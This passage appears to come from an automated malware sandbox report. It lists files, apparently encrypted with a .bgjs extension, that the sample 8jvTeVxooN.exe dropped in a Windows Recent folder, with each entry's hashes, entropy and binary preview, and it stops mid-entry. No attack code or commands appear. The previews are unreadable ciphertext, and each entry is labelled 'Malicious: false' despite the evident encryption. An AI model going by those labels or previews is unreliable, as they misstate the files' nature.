Preview:	<?xmlHI...d l..e.].&....?..5O......M?...p..ph.q...7r\.{.9[..c.w......j.w.....!zi...B@.N.....9..H.Y.Sg........_..".3.;$.....]j..`.>..1^..._,.@.'....!....k5....Gr1._.]. T.\CBE..<@.Q.Y..!ZG..#.........H.u..U.\[....i...L..t..b..<.x.$...m.2!.>.....".^W1..{T..d'G.".7+6....$4...G.T......=.U...^..{.g...}..m.]..rg..V.B?...a.z.)[.#v...8..j2.B..).....;j.....T.z..J..L. .'c.zo.. L..i..'k...6..nx8...}..".F-..w.hp/.. .S......9....W.J..Mh...._.1.;.....rs....r......jC.$C.......G.Q..I..Y>.&.....6....G...6w.I..4 ..:`..d..........r......UY..<v.0./..?...}mO.T...T3>..i'.C&..3../.v.d...l...`t)R....H(...4.......J4..w...hN..?>.BF.R^...o...R.../......u.E.4..z....5@.....4...j..3../w.a....0L.X..........[....w..Kiq......O..Y...2.;..f...{).e...P\|.NL;.....^1..oP...Q20...3.).}..n.S6M...(/.k......^Hl..."4ye"e}7zE..(#....z$.&..F......f./.H.8.J.3mc....P..M...y.....Rc.(N}.....N..._.*.s.......D9.eY.cem.._......x.e..8.u..E...#...EG.=3z.(.a...qi.s...M:.&..8}.."\|...$..@.

C:\Users\user\Application Data\Microsoft\Windows\Recent\AIXACVYBSB.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843142069003522
Encrypted:	false
SSDEEP:	24:1EibTBGPlc36s6lIVULlF93l3WwGmVjR1XKgg0iqhL9MO3Ay63XfRQIObD:SGTBGGKzDhF95cOR1XKgbiU3qWD
MD5:	2BE684775B6D86B2EFF524561F05B70C
SHA1:	22638574075CEEAC303BDFAA8273EF6146CFA141
SHA-256:	F08A743C1D78042D9C0D41436E47DA15D32F2F56840F083AB011908F3EC1A54C
SHA-512:	F9A8748DDBDFAAA4023060DBFE4983826C12FD384F3B12B5ED4527F57084A0D4EEDB26BE6140FE82910AC6C0276A7E43D083F6C8B4E1DB0C413905B7AB91847A
Malicious:	false
Preview:	AIXAC.f.q.anm.Gm.j..%%D....-.&#......b).P.a.w...".2g..[..8.J../...t<.9r...Oa..........9.Xc._.I.;.;....z..J.!.s!.Q.,.>....!.......mr..ux.).4.S(..5k..?%...n\| (a..2.......Z1[.tf.....Q..~f.M..c.Ip.Dg.u..,.#^f\....0q..\...=.t........j%..._.;=.P..p..c...L;.p"..r.Z.d....0.Y..M....z..zoU....].jP.%4..u...juc..C...T.s#.c...@..S.c.',....k%.Oa2....k.[c.v=.h.(.(d.....#..-P..'..8.S..Wm.4..sn......B.q_..>.A.^..."8.5..X....Nb....j4=.......;...2..p]..Ibp0.q..\. .{@y....1.i~...,.....c`.\|.sc..:...Ph...d...C..#.\|.R....9..w.8H.....C..E.0F.r..L.-.6.?J...d.>..6..vms..!..1*....&8.V.z.7..c.E...5.o.)..p..x.+....~<.0....43&H.`.#.h...f..O..r.y.....S/Gwe......&..StU..R.x%5.Mu.Je{.....1..[-.I..c.T_..-T.....XP..(2.9....O}q...+..GnSVw.%..@.k.;.j....Q..%]......z.B.ih.W....;....\........k..3JT....Q.. ....3.=0 ..\z.uk.I...%.-Hj..J..?...}%....a.y.g..5... .$T.m..K..\.[eAb....}.PL+.d..0..3.c..Z=....`..H.k .5...(zg.O.f..CU.>..nQU.=.:..^5.........V.....W7.R...P.TN..h...

C:\Users\user\Application Data\Microsoft\Windows\Recent\DRBXYKCKXO.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842169045082599
Encrypted:	false
SSDEEP:	24:4GqAGY3ln3SK9ANc1QrWW5x1vq/20GZweCYIJFWuKpr6z0U0MepUtpudF3H6ObD:49AL3l3SDGQr9q/MtuTzF0N2pQ39D
MD5:	6B9D8A365C4E4603E1F0D581B6473B4F
SHA1:	C03EAD0D38C4231AC1130058D522B700B12B03A9
SHA-256:	930DFBE64A11FEDF65CC0F43DFF87FDDFDA72299BA676C1A3C2A11CC9BAB8426
SHA-512:	DDCF8B90B96C252B907186EE308D04A3B01650F64AF413D2BE938C3156BA268AE9FEE56D76D59937185E473EF898357273E1788C955B44708C78587D60DC3209
Malicious:	false
Preview:	DRBXYi.....E...@..=...O....J)..N.....o...(....q..-...it ..Z.~..H1...K..x.T.J=.m`e...)M.......M..e..k......g~.SX......2'..V8X..a.!$..M........?..'...V.7..C.i4%..lQz...Ne.W..n..^WM.oL5.d#.~.(...m7.....+....?A.....<...o)E...'.<..:...?..1.K..p...+.y../........~.1..}.T..qO0.o.1...~..7.3.N..r3..~2..6.\..(....R...u..&y......l.....ZA.!......^e..(........a.....B.........5..A.....Z.<..r_.......X...D. NT.`.IT......N..AL..Oc.Rav1.E+.z.n......&.y.:w....{1\.w;.a...S..k.../$./`.f<Wr..s._...V.&.0.,.$...$h..Z....(.>...F..".q=..eMz..Y.O....wI%.q.......O5.......q.Yk.R..>1%.<.....o...!..9B...f...dH4...S\..>.ym$I}......f......e.".1....5.UJ...i}-/b.....>Ez...v`.cE8...'D.[.G.-.?..L..-!...tP..C..x"...KS...pE..8..v.%3.....P......~....MkL`6....J.pk5......F+^.zu\|S.o.u..+.((.>..BbU.-..>..=l6...5.[..r..uC..).^.@0..../0.8R..r..CP.O.#..g.....m0......\|].-`.._!....5,/..s.h.).+.k.y..?.WNr.iH(..j.k{xd/...>......-..\.;pW..L.?e.i.b.z.......-.irL_.=..'....+..\|]..t..@gAl

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851608321489022
Encrypted:	false
SSDEEP:	24:3138rT7OtzUinSmc+iSdxRGnbtuZk0iZRRBi9Fj7qT1ULgOnms5saADNiSyYObD:31387OBULXgdmnZjnJBi77YVOm49ADlg
MD5:	9B60E3AB6261A44EB841840AF8DAF58C
SHA1:	1B115322CBAE45BFFB40D94EA4D771CCEE4D1A90
SHA-256:	19C905637749AB067F0FFF29D6ABD19C70B3F33CBD0EE3E1D2FBF2848EE765E3
SHA-512:	364BEB15096E9AABDD26BB81A75E9D807DC584C6CE7307493F72E4EC1351C04B4D6ADAEAFB0AA4F2DF7996B86CA8B8914AA6A02D974DF735019EA6A71BCB88BF
Malicious:	false
Preview:	DVWHK.Jo.y..dw.F..bC...T38.\|1.";.D. .[IG.g9..>..k.c..3.T.".u..ZC.+..........=.J.^.R..&Z.S.%."..S.....t..U..>K.;.g...8_..U...8...q%/.74.'#c6..K4....w...]..."..\..r...z.c..:?.p.^.h....g..M_95..#3.s...w....?....-.\2...9#.x..4\|..".S.k]...}......=...7T....W.(..3.).cc...Z.[.w...\|..f..ZU..$ev.!b.\..t/...G...1:.%.R....s.-...=....%..r.R.g.G..=.i@.-.../X..p....l...!..L<...uW.NL2V.._V.9......MW...rlf"..i."....Y.i.~!.2.&....4s.....A.G.y...PF.......T......!.......epBK.....K&k...T........>..)k.S........5.aC..!;...P7tM...{.~P...qs..g...B.)vP..... [iS3S..0Dc$.a..!.Pj,c.!. .\G.JX.....Aq...p............Fp...f........2@..j.RK;.....i._.(....6...1.B..%[..k..Y.x/..o/.!....M$p..{..5......R.....;OP.$/Zr..~}.:.@.$uc..)..}..v.........t^....5......(1%\|,...5.n3...T9XO.C.~.....n.....Zn..f$-d..~.b...4...(..f...`\J'Z.C...J.C.j.........9.W.8.........^.v..N... {.O......K>S...r..r4:..%......4.Pl.kF.M.@...> ....#?/..F.." X4,.+=K..9.$H)....6.`.S...^P.B...ejD+IH.'.....QL

C:\Users\user\Application Data\Microsoft\Windows\Recent\HYGZTMOBZN.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829947247423986
Encrypted:	false
SSDEEP:	24:Y1N6ua7VlyFPJLDlPs/6ED1uuLb4rggjAd40CMse2VH6xP+BtVethImgzy5Wm1OX:Y9WlyFdtsSAPvS0d45VHEPkQhlWy5J6D
MD5:	936EAB92550EE76DFDCADC8B5C285E75
SHA1:	A0359DF4353C8BA15120E0827DFA67831D7A70E2
SHA-256:	E68F3A0F041B981671D49DCF279B16A7FACBC50FE9D709466CE8D815FB28DAEB
SHA-512:	DAACFA80AEBF48FB9FF0E226BFCD7AF400B8FD5FE1E19894AEE4264F1D1956BAB2608AC254CA671919BD5BFE00AC3BB7EF8DC877E378F5A77D7751484EA1CA2B
Malicious:	false
Preview:	HYGZT..c.z.Xq..w...fvU.sR0...j...J...P..i.H.#............./.L.a..Y...1F..3>4..eK..2H)'..H.s.?...5.h../._P....ZA.. ......Dx0q..:u.Q&.%.....N/Ub...i."ZP.SXl..4.A....5.f..o<j.....dU[....D\..N.qZ......IlE...=7.G.K..F7Y.S.. x.3...gk.z .\|...k..c.c....u..9.........G....av..H?6.oR.u=...b.O@...8..k`...I...%...X....F.r.X.a\e._..ud>.9~..A.;:e......D.....FB....".d.uT...]W..Vr.....D....wnU....UaW.4......(^. ....Z........@`...~Q.5....h.<...A^.Q.?M..5O...~}......OW..{H........S.y...`1&.-.R.~..u...+f.@Mt.k..........2g`Z...[,.......@i..C.8j....UP...JC.\|Otq.......il....#.....2..O,.<D.....K"E.J;?x0.1....l...../l./....DQ.).........1].b..5!Db"-...=....s.4..P{...V.J.V...I.R..[72.AX....P..h.P.'......$.`."..(......8..2. ..0....J6./....}...I@z\|..F....Q.XA....p.......>....&.@Qs..B...........U{......X._.'w...ld.8.!e..}<).Zy..a...o..).....R.2...&I..ic.t3.....2%.j./....n.{L...puDq8.T.....`....n....<..R.....)V.v....%z.h..D.$...g.Pa.o.dv..(.E....[g..u..

C:\Users\user\Application Data\Microsoft\Windows\Recent\HYGZTMOBZN.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.819301528566881
Encrypted:	false
SSDEEP:	24:M69U27cz3bprsL+oZegOCdnTLM3/Lm+TOyHkE964YDOYUuVlncZ490oObD:l77cjbprNoZ5s3/5fEN4YSIcWSbD
MD5:	234B0F23E5B91D50B7A8ADF6634EDC8C
SHA1:	7982477A1E750EC29427234A90E09EFA1D30D90C
SHA-256:	5ADA6C42463626F2D8234BC8E14E6F828676637601EFBD3DBFEADADAD579B75C
SHA-512:	BDDE57ABEB64E9E5D2D540F6F88B12DD0CDE10FDB277470DC294F77664401F2DCAE37C3682CF66688C6932479020DDFAF1C3F4F576C8C77984DB225B323D97AF
Malicious:	false
Preview:	HYGZTo\V.5..+.~..!.+;1...'.=...$U6..vn....>...Zen-...^.!ZZ6..r..J..73.,xgF.4p7...Y..+C8....BF9...j...`.,....:l....`......ar..U.<k...f.D..D..i...v.q0>Q....(...ZaL.Ibt.~1/......_./.D$`...~Y.$.K:.N..\.<J.K..j..T..4..+.Z...6..E.[..S...c...@`=.t0.._.K....a..]~T..Z...?..:S..@.]..P.,....U6V....N+'.8<B~..2}..F.k-.5..ayE..n..+...n..q)..b..q.99R...m\..Q..D>.....}.Mmh.K4.h...K....)..dB.IN5..[.M.....W...UndU\|W}R.%m...r..I`.-.\8J....V,......I.j.F}..X....F9.D[.c,h.....0b5....?..w......^...Bu.X9..7Q.Fm.[..K.K.8H.>.s~.3=.5...........!}X..J).,.Q.w.Q^.d ...X.~.by:\|.A.u...."T.......,L.\.G...P...,j......QQ..umq....xvt.%....{v.2J.&8..2.....zi...E.Q......,.-.p....BE.8..S$e.*.@..'.+5^.}.....YW...P....m.9........ZXj...v=t.^.\|A.>.H..ur..>8..izM4<8Th.z...]....=....,.vd[...];%%..M`:..i.......:+...+.@...m...J.....d.Z-.cE9X......]f...d...e..%..l.k.S.7^..s.`.t.x.'.M6....:s.S.^..E./8.^.!..3l,2.~..Um.0f.4.+>9".....C._..d...j{.......-h..l..a72[9...?...\m.c.L.p..

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863250151222216
Encrypted:	false
SSDEEP:	24:XxDTeWwitjEUdHuwWwOzK7fKOYBJXJBZ+BYjfCAHfpDvffW9ObD:XxDUOjEUdHMwO6fKFBtJD+erBH7D
MD5:	894C83CDB059C31AA261FF8A63FC406F
SHA1:	6D045A7162131001C1EEE32552DD67C125E9C8E8
SHA-256:	2530E11F8D97ACDA8B9A1B6F3971721DD15956CF18DCF83E6BB658CA72334DB0
SHA-512:	FD360B4F4A4D1470B02F9FF3CFF12489A6C02B74A93C5F2046392EAD3832EB11AE3D2A6CE9DB90176AC6580A14EA23A5CA4483CA3E7FA7266D482A58E8BFCE67
Malicious:	false
Preview:	JDDHM...K.K..F.~..9 ._j8...v.w...:.@....W...Y..Y.>.z.%...h....^y...c......<'fH0.6.;9...&...0.'....<..TJg..0.X&...;[..s...~A...q.....ts..4....B.....a..k...7_K.ZR.R.m.3.9.A.....-9+...G`7#.C.A.x.G....b7}.\|.....n.!..F.PS....t.."5$...E..Fe...Rx.k?. . ..6..-w."c........Y\|~."L..../._.M#...8.".=.....%.i0......g.^..`.`c.W.<G.F.:...p......=.CKg$.rD.]..e........d....y3CB.....8....y...Sr.][..e...&E.~:.2.j...^...c.F...I....~....L..<..O].......o...d..Z..V......Z#.c.....njz.M..:P.J.%...~..n..&.. f.MRjV...."(........89.j.,....g.YC=.^4...:[.e.......p.c.YF.?..-..-A.4........g]...X.c.q.nL........@.$...6..'.a.jYP ...j..Y.l...H.......Q..-n.u....!..~{..5...8l.L6.Q..-.9v%.....n.u....j...Y,...]..j.8..~U7ip.[.q.m....8....KV..$.D..?....F:..l...D....;...0D%U...V.h.}?.Q.....4[.I........X.....9C].k......D'.9.nQ.X......DH..+,.>.B..p.......*..<..ae8.l.N....).....V.D...' h'./.Q...v.!,..u:...7!....JtQB^.6.<V...r.I.j.....{`#.....B...W\|.`xi~b...0S...N.`...O..l

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869146419438049
Encrypted:	false
SSDEEP:	24:9jJSPvdzGL/T8cjKwyN8wUR7gk60unp9KEeqSorQwPsHl8GamYJVHySmscFAObD:98PvBGr92wyNUt60ALxr6Hl8Gamk1ySS
MD5:	7A36B35E299D0DBA06B9A447A9C8B7EB
SHA1:	DB9F1411BC4F7B41C9065856284B21A2E6043159
SHA-256:	67E108F8ADF2F2C06C885F7D975A095C30FB040BF5B51B145D526FE3E706003F
SHA-512:	FDED63C9014658B4D61F858F7D40C253D07A2BFA80F0CCAB8AFAA34FB917E157B6DB98B5BE900BCDDFB4BC3794E6D8D179725DD68CE899CB44A9138AD35B2BA9
Malicious:	false
Preview:	JDDHM...j4...x....A&.{.G....,.,iP...w@....,...k...jU(ze.~.(X.....s...[..!LM.K,..Ei....C.>...aS....8....0. u97.>...$M....wG.Q._)...U....n..!.4.]....9..K..60..Ck..J.......S......{..r"W..xZ.E...`..G....<.<. .$..,.@.....`.O..LnD.n/<.a...a.G2... ..W^$&...>.."....d;+N.\|.c......h.}...a@m..fy\...../.G...$g.@3..~..N..G.........6....\|=.....%%...Oa......0....g..g.....pW...y...+.....[...4..h.D\|{...`..c..Oe..a....(...:.?....V..j......U.yz.y$gi.I.....w........B...8..E.L.....t.y...g..ZU I5p.}.;.J..B...) .@..K.T....d..<Z..`a.&..=@9.......Q...{.K.p.iT...wO..=3.....yT.(.zm....f%.m.o./..h....BA.7~.8...._...u..^..7.....,...l9...3...b.C.&.{....6..H..../1..`.t.X..........R..P0Or...5.>.....@Vh.%..F...J...{.U.<.w..O..{....:.5m%..8.:..~}.<P.V..4..t.e{V.9.p.....v..2[......hQ.P0......F....:HS.)k..Y.X..p}...6..]..._.{{....\|Q..:.^..x.D-...d3....a.X.v.,..?I......"...:,t.ij.~J.\|......7B.=......n.F^.1...$O..."..S.[...`.....:.@..`e..c..8......4...=`5.F.r....-gW...0.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8372143109632875
Encrypted:	false
SSDEEP:	24:pEjGrwnHd6GOXT8yzJdpSyq/XmDSJgoFyoI+LuB4WMJSQOphEHZ58q9cyJObD:SGrWgGcT8QXpSy+2Ig/oI+LwDMEQOpgO
MD5:	1AD38D4D0385EB38B88E1727F4FB8840
SHA1:	CD2E02B04DEA1E281A7F22854769403C37D63936
SHA-256:	8A18941385ACC8D5129DE449B8EAE62A136D767EE75B08363F2CF430FE6BB282
SHA-512:	71D7087E6E439E86793B0A90DF3EA29D05FA3D7B07660FFBA10D8FADA5570111569102D2736B6E0B1282DF66017D936D2402736C245BAC896C615A0975C90AFB
Malicious:	false
Preview:	JDDHM..20...kl..Sf.=..g!QR2...(..y2z.!.s...\_~.c..Z...(.bv..Q..~R..5;..U.U...;M.z+....a.R..h...........@...N...@..f..@#..v:...!.....~m..$UB......29..F...!.....T.,:.$.<blY...El.Z...Al5]9d.=.)w.r..4..rn...=.X....w.Ek.{.........?..0g...%.....\{.i..}...G..%.u1.$.s[m.6..k.....N8.s.Hb\%$.2...&.s...q...d.?.xh..7I.......a.....F.&=..j$..9...j._. ..%RZ.;.&...."..@...9..4X+6H.W.H._..+.-S...L....W.M.z..Cl...&.b....lG...@S......o..t....E...MT.6..P...."....@....~.FO.~.9>.....1}.?.hO)R..G..T.x1.~.k.pf.Q.j..Z.Bj.v...O!....}...]......9.j;..1.F..M.T..Y.?.jL.......?.3.(..wu.c...C.l2....p...(..........u.x....p.%z!.... X.G....v... ........c..J....T9..&..0..f..........SHY.?.........Y.'..N.)R!....g..+.e.<....aJ..%......A\......j...\|YK....{.....`_8].q...r...h/..GSr..9b..\|.<...y...N....x...+Mr;?..$m..<....b...0~.a_.r0.....-BMj.W]w..h4.T<Xa..1...A.I.V..Q.L.._b.) D....8...V..DM^....\v..ml(.H....7t.......7:S..._.rI..f...4,Dj)'e.....c.G.g.........h#..P.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\JQADJOBBUH.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826918703508541
Encrypted:	false
SSDEEP:	24:xN2HiyNeaDsxQMBMRknoOGjFmaGkA/Se0JRC613Um0s1t39ZeDT+kObD:6ceQQMBSkEFmaGFaedc3ZKuHD
MD5:	230F0C3DC1A5D443FD3B24A9E7A43AC2
SHA1:	4F1D9AA41222FA71461981B76B7E3AB96E28207B
SHA-256:	A440170AA7902D69B118AF64AD6CB4C96792ACB9707259C6197CC59411770D03
SHA-512:	FF4B7B57AD2253FEDF072D1CDB29854F8AF59208C6DE6128539FA70B564F01856A30024E3624E64393E44DE634BFB2A1727F88169B9858A53DF0E9366BE06A52
Malicious:	false
Preview:	JQADJ.!.....K{..^.{1..X...D...........$...P.....$.n,.[w...#.^UW...z.g..]....8....,.V.ez...3...2....4......Nl8.../....M.s...1...O...&"...>...D......L`I'..,......g....<i..q..1...Y?.E;v#.?.....?.WjR...i....$E.v4.#....rN.Y.c.J...f._.8b..mo.......}0.....o..>l......\|p.....c,......> ...s....>M4..S...!-.1x6f.,..<.QK..1...n...9x.m..S.U?7'.e.b%I..TlYB...va.F.?.../...U..A...c.0.K.....W:U..........(.......+..R...p.o(.0..S....D.....X.....7.-......H...!...D.W".....-1..[t.k....j#.?...h'...G$.z..pp.m<w.e.C.9......v.uX..0kM.&.!\T.7Q..`V...(..&:...c.S...J....vs.L.7vD..Q..-.{.-.F..<c:...m....D...6..L.4.."....[....y...M........\...Ar....>....$...........e..%.g2,8...H.L.E...R2...-c.d......Q..U.H..(...g.9...,9.AZV6\|....E.(.:<S....y.r!...........>.....v...XH..68.......CN.....$..!f'.*.j.H....].HF....M.z9...@.L8.X.WNB....I.a.F[...>..^.2bXA..}2......r.Q...o..s.o....@<-..._...s....O.~,3T+...&A3H....m.3..2C.X..$?.U.k^....;...s...q.v.T..M..x.o...>.Q..t\.Ax

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854307959701588
Encrypted:	false
SSDEEP:	24:iNBm9ghCsei3kvU1uzAVrWWawrkM668PAnte0GGtjAVbQvOrL4PSX1iP1CvQ9Z0I:6agh14815HawYS8WFZA5qSy4yI4jXD
MD5:	295BB07D86BE13C5BBC85977664F6223
SHA1:	8153F2F8724E863B8E4B69808AC3A7FA7481D057
SHA-256:	D16122FE2451A6A6B34B53E384BCD544BD315FB2614176E238004B06CA1D44A3
SHA-512:	0232F343036CF7A0EFE7375D206B3363DC7BC8EA8D506420CDFA38E524EBD2C2CEFEB197C7B7694E6133B231C6A639E27644F1BEF49DA58804838A4BF286C8F1
Malicious:	false
Preview:	KATAX.c.Zk...(Gz. >.c..=.U....H.a...8.H..`.(.... nse4.I......V=.]<...b.K.yY..#$.0.>.R.m.......W....;..8..-6HI.M...&_.....\|.{....~\|.x.C..{LNr.dJA...NO...z.#d.JX.[A&.JV$=7.f.......4K~L..P.........B.r..8...?.`...M.....L.E.......#..;S.N...x.k....D..6@.~...Yc"!n..0..'.].....e.$..W.\..V.$"......w.aa.;.S.~.p09..^../\|.........'T.#....d..M8B.c..V6D..`uO^CaL`u9#.P.)..P.X/W.$..gV.:9<..?M...Q>.U.'m.....7m_c=.M..k+...m...GV....,.R.Dl...G.hG.F..?....K.......;.UU..\.....e...C..u.2..I).1.o....~[.)..d+.w.QTa..~.^69......S.....T8{..P......DG...E....ez..r,:..B...k.\F...<.8...'..d.....o$.>.i...jR.^.J.......\|gd....).k.s..f=..].C.7.&=...z..&Q....{..f....\](.?...l._.8.........y..c.q.3....`!.T.tH...z...S.vS._}.%..J)hkVC.....T.4g..d..`L.G.<o..%...<.....0/.Y.2....T.\...\.vN..O..T...\|h<x.#(....f.H.SU[.5<...zg,..<....}...=.v.#VD........D.2.......z#.9]X~z....]..M.G.M.7....=....\[.EsN.....q;....N.O.x.-]Z`.....(Z......B.^..{..V{..a..iVO..]....h\(X....x...;W^.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83823221826975
Encrypted:	false
SSDEEP:	24:Yt40wpehA33xaQQDU7v7F2mVBRw2bVNYUcolwfg5ZFk21G+EObD:Yt4vqAnIQQA7v7FNXRwKqUc1f2k2M+nD
MD5:	0EC2F9BD2A7CCDAD99D78D488323BCC3
SHA1:	C4048005C37C1907D0B356722802F8093F9389E6
SHA-256:	72911EC67E158FDDFDA47DF9032C7B235905CB2DD6FD98933E90B95336CA03C9
SHA-512:	4D152A04643845339AFC5EF645A3E18855AC2772497CA0E66C62EA919856EC28EAB9B0E256E21D4F9BD6DD1B91001E7991733CBC5470333DC594B8E5D0AB25DF
Malicious:	false
Preview:	KATAX.O......K..E43.l.0....$.P.d."QA/u.JW....e.....?..G>..nh...S:2..]...Rr.N.....mZ.....V....p%.......&....q.H]..@.].5..d..4..\..O...Nh..^M.`.C..u....l...$.N....$..).b...........5.a.\|Qz(..9.4lj...F......./.Y[........nd$.p......+b.....`.&.....&..eQG.F.....v...`...L..D.E......=....n...s.\.....6.c.1.=a....h.824.L.$......<.`r...<DAo.....YA......v4.\/.nT....B.Gl3S=c>..yw<.........{].}..%Y.L.P.al..#o.[i.}E!.(.o.<I9..>.sn..?].t>..?..=.t{.3Kt....?S.8.C.Y.K[9 ..M..A.-..1../.x....m...Ga'.!.L.....pj..Rn!.@...[T..>Y......Z...\X.t...8.]X..w.^....j.#....4...........V.....#kQ%Uh....~sX....Ma...&.\|Z!.........?q.R3......xj~z^.ziF..5....E.%.n.u..~}h...X}...?...%.fi.n.M@!d.....).?bf&...W.:...fr...81?..J..&O.XN(+.-.n.F..d.Xu.... NV..7..4"..6r...R.I..w....."/_ ....c.J....I.G.Y.GI.)D..U.N.........`.~Z.!..........ddb.>n..^.>.l#..uc.+~4.e-'lP}d.uq...Z.rIHXW$..p.........J.I..U...+.V.Y9.6~[.1R7.F...6I%2.Y._.V.h....(........r..7.D......'..p\.N....vD9.=....H4.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857437678281315
Encrypted:	false
SSDEEP:	24:yerz4ZO6svV+RYi6GFkEimDFnfTiP+qz4jBDbOapJqdrgxJm2wzAoe9r6vObD:yGUO6svVu6GFzBfhY4jjpJ+gxJm2wUoe
MD5:	D55928DBB4857F2DEB74D3ED587903EF
SHA1:	00793E37795278DB6789684297DD5233FDEC1FAC
SHA-256:	04A684D2D4CB5A9448F0BE72198AF27457BEE8AB3D7C4AAF99A9AFDAF1291CBA
SHA-512:	5EB63209680780C887AEC2728F28BB7B52FCA49CABCFF1AE5E41C6C5253B4997A3E4921C92978B9059131B2EBEED6893D4B0052B9D0231170E02CFBA56F03182
Malicious:	false
Preview:	KATAX$...r~.... .4..........9!(\|..D.).....1.&.....`./8RM.>..G.fH..yRK..O...hC.4.q.\|...5+..cS.Z.J.Q.Yg.Zd....._.-.........h.A....?7]<.SyVl....AJ<.z.....bz.....i...C)a....F.;nP...V.bx..e...l.R@.)e.....@..2.:>s .....rjB`.5%u./...^.zK.h.E<P.moY.\`.s...h....u_..*s......rx...J...FE..b.!:....V.<.e.qmK.vx.&......4.\..S....{..g.ih..p(&.......]i.%..G..(dw..V..?..s1mcO8N....V.E'.y.....8.$.Jq.Q...t..`"...J..mJ......R.H......A....E...T...z.s..+..`@.....uG4..g...<#...., .. ...4@..=.#.d .z.g..].7.Q\{<.V.....o{..vG,.C.M....J].[.x.%....r.X/....#.m.......v.,<.0n.3....F.K....(.O..........B..N...4`+.......D...z.&<5X..;.v>(j,?.s7+. 5/..I...mp./L....R.o.&/..5@..n(..........K.0...1.jo.......p.Z.\..m.%Q.....>E^/..@8=V..>...0.@hY...B\..DJ..txM...f.{....>M..4/.{..oy@...s.<.0..... y...._\|...'.T........XD.......J...;b......q.../c'gM>..i.8.L.2...}.gQ...g..Rh..\%..&o..<.K\-~..m........k.t<.S......0.......lI_.@{o.T.....e5ta"f..4.b.....z}."..+[.'f3.^g..Re..f..Q....@

C:\Users\user\Application Data\Microsoft\Windows\Recent\LHEPQPGEWF.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830627824414911
Encrypted:	false
SSDEEP:	24:9oimbUNEAiAjeJWZ5PPHsO9lY2nV6zJs0l+x4I9UV4VrKZfH6/NObD:9oim4NU+VHsml/nYzJZoWI9UV4VrKZfr
MD5:	BA4DDBF86ACFAAD754B8D48E806621C9
SHA1:	68B8A425CDBB44BB4FFC0AA293B40375D77CC2A1
SHA-256:	00356D16C402C7A203A57F8A1DC854B09C0113E324516303ECCF85963784F5FB
SHA-512:	9C4BD5CD8546C4920C7FE4A1ABEF997EECBBC3622FA741660194498B6443767ABC20909A890723010A652BF6FF7A972A8471BB660FB7EC046DD4911881A63821
Malicious:	false
Preview:	LHEPQ....`...x...n.os.)...(...}T.....f#s.R ...f.i.... ...m~..6/..%?.r../...M..$.R...Wr........./...;....X5.Da7P.../\..\...](....h.<1..n...,.'.LK.&. ..wb[#..@.....EgD\|$.....a.....'hE6.6l-J(.F.`...[..t.\.8k..t3i..E]..K..B....O.....S...s.z...a<...N3.l5.....^..\}ra0....".=.a2................E.U.dVJ...r...;n.1..H..F.7..\.;.4.................(...Zx.D.<$.-.O {.....i.....<.D..^d.%........M.E$.....iB..9...~....UMX.A..t.N..WY.7.g.N8f.[ZPX:Q...Kl^.;~....D.t_Z...X.v..&.<i.7..>.F.....!...lrs.............(....F@..1....F..............B....YAg.m........K.]}e.i.u.8FQ'./....Y4hv.[Y.`....B...q..=A.F}......gB..B.....-g.?j..:...pA.F6..0..N.P'.$..\|.\3..6POHW....I.}..R.......ug..~..z{.YU..B......."....).3... ........E...........y[.4\|s.K.o.`?..'d7.8.-Yh.n...`....[......N..iM..#..Rs.X-+.L$..(...T..5..h......K..p..&-.}.$~..QZ...X..r.'.r.?w...T.z...VJ.=..?.K....Nn.@..,.XlD.5.E...{w@.Z...&.tv.`...Q8g..a...a..@y>.%....i...^.o.Z> 1(..._.y\|$.'L?v.dh..w.........B.....\|.3.Y..

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8404014180029575
Encrypted:	false
